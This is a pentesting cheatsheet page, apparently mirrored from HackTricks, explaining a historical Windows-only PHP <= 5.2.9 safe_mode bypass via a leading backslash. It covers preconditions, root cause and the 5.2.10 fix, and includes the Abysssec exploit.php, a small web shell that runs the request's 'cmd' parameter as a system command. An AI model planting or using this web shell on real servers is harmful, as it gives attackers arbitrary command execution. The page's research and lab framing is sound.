repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
disable-functions-bypass-php-less-than-5-2-9-on-windows.mdMarkdown102 lines5.6 KiBrendered raw download
---
title: "PHP <= 5.2.9 Safe Mode Bypass on Windows"
section: "Network Services"
sectionSlug: "network-services-pentesting"
sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md"
sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md"
sha: "188de82beb54e70956b2952367a0af91d26758b8"
isIndex: false
modified: true
license: "CC-BY-NC-4.0"
---

# PHP <= 5.2.9 Safe Mode Bypass on Windows

This is a historical proof of concept for a Windows-specific `safe_mode` bypass reported against PHP 5.2.9 and earlier. Prefixing a command with a backslash could confuse the old safe-mode command-path construction and still leave Windows with an executable command. PHP tracked the flaw as bug #45997 and fixed it in the PHP 5.2.10 code line.<sup>[[3]](#references)[[4]](#references)</sup>

This is **not** a generic `disable_functions` bypass. PHP removed `safe_mode` in version 5.4.0, and all affected PHP releases are obsolete. Keep the example only for legacy research environments.<sup>[[2]](#references)</sup>

> [!WARNING]
> The proof of concept executes the `cmd` request parameter as an operating-system command. Run it only in an isolated, disposable lab.

## Preconditions and triage

The primitive is narrowly scoped; check the environment before trying the file-backed PoC:<sup>[[3]](#references)[[4]](#references)</sup>

- The target must be a **Windows** PHP build from the affected legacy line (PHP **5.2.9 or earlier**).
- `safe_mode` must be enabled. The known primitive assumes `safe_mode_exec_dir` is empty or otherwise does not rewrite the command into a valid allowed executable.
- At least one affected entry point—`exec()`, `system()`, or `passthru()`—must still be callable. If `exec` is also present in `disable_functions`, the PoC below cannot reach the vulnerable logic.
- The attacker must already be able to execute PHP. The batch-file variant additionally needs a writable current directory, and the child process only receives the web-server account's Windows permissions.

A compact PHP 5.2-compatible preflight is:

```php
<?php
var_dump(PHP_OS, PHP_VERSION);
var_dump(ini_get('safe_mode'), ini_get('safe_mode_exec_dir'));
var_dump(ini_get('disable_functions'));
?>
```

## Why the leading backslash works

In the vulnerable `php_exec()` path, PHP split the executable from its arguments, rejected `..`, found the last platform directory separator, and then combined that suffix with `safe_mode_exec_dir`. If the command began with `\`, the separator pointer was the start of the string; with an empty execution directory, the command therefore reached the Windows process launcher as `\command`. The PHP 5.2.10 fix explicitly rejects this case when the first byte is a backslash and returns `Invalid absolute path.` instead.<sup>[[3]](#references)[[4]](#references)</sup>

The shared code path explains why the primary report names `exec()`, `system()`, and `passthru()`. Do not automatically extend the claim to every process API.<sup>[[3]](#references)[[4]](#references)</sup>

## Minimal verification

The original PHP report used `ping`. Point it at loopback and request one packet for a self-contained check from a Windows command prompt in a disposable PHP 5.2 lab:<sup>[[3]](#references)</sup>

```batch
php -n -d safe_mode=on -d safe_mode_exec_dir= -r "exec('\ping -n 1 127.0.0.1', $out, $rc); var_dump($rc, $out);"
```

On an affected build, the leading-backslash form executes under the current PHP/web-server identity. On PHP 5.2.10, it should fail with the new invalid-path warning. An empty result on an old build is not automatically proof of patching: first check `disable_functions`, `safe_mode_exec_dir`, `PATH`, and the service account's process-creation permissions.<sup>[[3]](#references)[[4]](#references)</sup>

## File-backed web PoC

The following Abysssec variant creates a batch file, starts it through the same leading-backslash primitive, and reads redirected output from disk.<sup>[[1]](#references)</sup>

### exploit.php
```php
<?php
// Historical Abysssec proof of concept; use only in an isolated legacy lab.
$cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : '';

if ($cmd !== '') {
    $batch = fopen('cmd.bat', 'w');
    fwrite($batch, $cmd . '>abysssec.txt 2>&1' . "\r\n");
    fwrite($batch, 'exit' . "\r\n");
    fclose($batch);

    exec('\start cmd.bat');
    $output = file_exists('abysssec.txt') ? file_get_contents('abysssec.txt') : '';
    echo '<h1>PHP &lt;= 5.2.9 safe-mode bypass</h1>';
    echo '<textarea rows="20" cols="60">';
    echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
    echo '</textarea>';
}
?>

<form method="post">
    <input type="text" name="cmd">
    <input type="submit" value="Run command">
</form>
```

### cmd.bat
The PHP proof of concept creates this batch file dynamically. For a standalone lab test, its equivalent contents are:

```batch
dir > abysssec.txt 2>&1
exit
```


## References

- [1] [Exploit-DB 8799 - PHP 5.2.9 Windows local safe-mode bypass](https://gitlab.com/exploit-database/exploitdb/-/raw/main/exploits/windows_x86/local/8799.txt)
- [2] [PHP 5.4.0 release announcement - removal of safe mode](https://www.php.net/releases/5_4_0.php)
- [3] [PHP Bug #45997 - Windows `safe_mode` bypass](https://bugs.php.net/45997)
- [4] [PHP source fix for bug #45997](https://github.com/php/php-src/commit/4d2e2953448f9e7c9f49a0ad91a1d54bed514b5f)